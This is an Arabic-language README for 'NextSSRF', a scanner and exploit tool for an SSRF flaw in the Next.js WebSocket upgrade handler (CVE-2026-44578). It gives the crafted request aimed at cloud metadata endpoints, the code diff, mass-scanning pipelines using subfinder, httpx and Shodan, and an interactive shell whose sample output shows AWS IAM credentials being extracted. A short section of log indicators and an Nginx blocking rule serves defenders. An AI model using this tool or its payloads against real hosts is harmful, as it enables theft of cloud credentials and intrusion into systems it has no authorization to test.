
أداة فحص واستغلال لثغرة CVE-2026-44578 الخاصة بـ SSRF في معالج ترقية WebSocket في Next.js. تكتشف الإصدارات المعرضة للخطر، وتستخرج بيانات تعريف السحابة، وتسرّب بيانات اعتماد IAM عبر قشرة تفاعلية.
╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║
║ Next.js WebSocket Upgrade Handler SSRF ║
║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — Bug Bounty Tooling ║
╚══════════════════════════════════════════════════════════════╝
CVE-2026-44578 — تزوير الطلبات من جانب الخادم (SSRF) عبر معالج ترقية WebSocket في Next.js
نظرة عامة · التثبيت · الاستخدام · خط الأنابيب · Shodan · الصدفة التفاعلية · إخلاء المسؤولية
في 11 مايو 2026، أصدرت Vercel تصحيحًا لثغرة CVE-2026-44578 (بدرجة CVSS 8.6): وهي ثغرة SSRF غير مصادق عليها في معالج ترقية WebSocket الخاص بإطار العمل Next.js، تؤثر على جميع النشرات ذاتية الاستضافة بدءًا من الإصدار 13.4.13 فما بعد.
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
إن // في http:// تؤدي إلى خروج مبكر من دالة normalizeRepeatedSlashes، مع تعيين statusCode: 308 و finished: true. معالج الترقية المتأثر يتجاهل كلتا العلامتين ويستدعي proxyRequest عندما تكون قيمة parsedUrl.protocol صادقة (truthy) — ليتم توجيه الطلب إلى المضيف الذي يتحكم فيه المهاجم عبر المنفذ 80.
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
| المنتج | الإصدارات المتأثرة | الإصدار المُصحَّح |
|---|---|---|
| Next.js | 13.4.13 – 15.5.15 | 15.5.16 |
| Next.js | 16.0.0 – 16.2.4 | 16.2.5 |
| الاستضافة عبر Vercel | ✅ غير متأثرة | N/A |
Upgrade: websocket برمز 400
تسريب بيانات اعتماد AWS IMDSv1 عبر CVE-2026-44578 — صدفة استغلال تفاعلية
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com
بدون أي تبعيات — مكتبة Python القياسية فقط. يتطلب Python 3.10+.
python3 nextssrf.py -t https://target.com
# AWS metadata only
python3 nextssrf.py -t https://target.com --cloud aws
# Custom internal target
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# Deep scan (+ internal services)
python3 nextssrf.py -t https://target.com --cloud aws --deep
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# File input
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# Force scan (even if version unknown)
python3 nextssrf.py -t https://target.com --force
| الرمز | المعنى |
|---|---|
0 | غير متأثرة / نظيف |
1 | متأثرة (بدون استغلال) |
2 | تم تأكيد SSRF |
صدفة استغلال متقدمة مع كشف تلقائي للبيئة السحابية واستخراج بيانات اعتماد IAM:
python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — Interactive Exploit Shell ║
║ Target : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | Status: Connected ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] Detecting cloud provider...
✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ Run 'aws' for full credential extraction
nextssrf(ec2-x...)> aws
[1/3] Instance Information
[200] Hostname : ip-172-31-47-134.ec2.internal
[200] AZ : us-east-1d
[200] Account ID : {"AccountId": "370741706736"}
[2/3] IAM Role Discovery
✓ IAM Role found: my-ec2-role
[3/3] Credential Extraction
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS CREDENTIALS EXFILTRATED!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
# Detect cloud + run full exploit chain automatically
python3 nextssrf.py -t https://target.com --auto
# Full recon → exploit pipeline
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Shodan mass scan → interactive on confirmed hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# Check specific version range
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'
علامات الاستغلال في السجلات:
# Next.js process logs
Failed to proxy http:/ ← single slash = normalization fingerprint
# Access logs (absolute-form URI + Upgrade header)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
للاستخدام في الاختبارات الأمنية المصرّح بها وأبحاث مكافآت الثغرات فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. المؤلفون غير مسؤولين عن سوء الاستخدام أو الاستخدام غير المصرّح به. التزم دائمًا بقواعد الاشتباك (Rules of Engagement) الخاصة ببرنامج مكافآت الثغرات.
أُنشئ بكل ❤️ بواسطة @mitsec · ynsmroztas.github.io
أفضل هاكر على Intigriti · أكثر من 100 إدراج في قاعة المشاهير · أكثر من 2430 ثغرة · أكثر من 1100 ثغرة حرجة P1
| الأمر | الوصف |
|---|
cloud | كشف تلقائي للبيئة السحابية (AWS/Azure/GCP/DO/OCI) |
aws | سلسلة كاملة لبيانات اعتماد IAM في AWS |
azure | رمز الهوية المُدارة في Azure |
scan | كشف البيئة السحابية + استغلال تلقائي |
url <http://> | طلب SSRF مخصص |
get <N> | استهداف AWS IMDS عبر الفهرس |
list | عرض جميع نقاط نهاية IMDS |
history | سجل الطلبات |
save | تصدير الجلسة إلى JSON |
quit | خروج |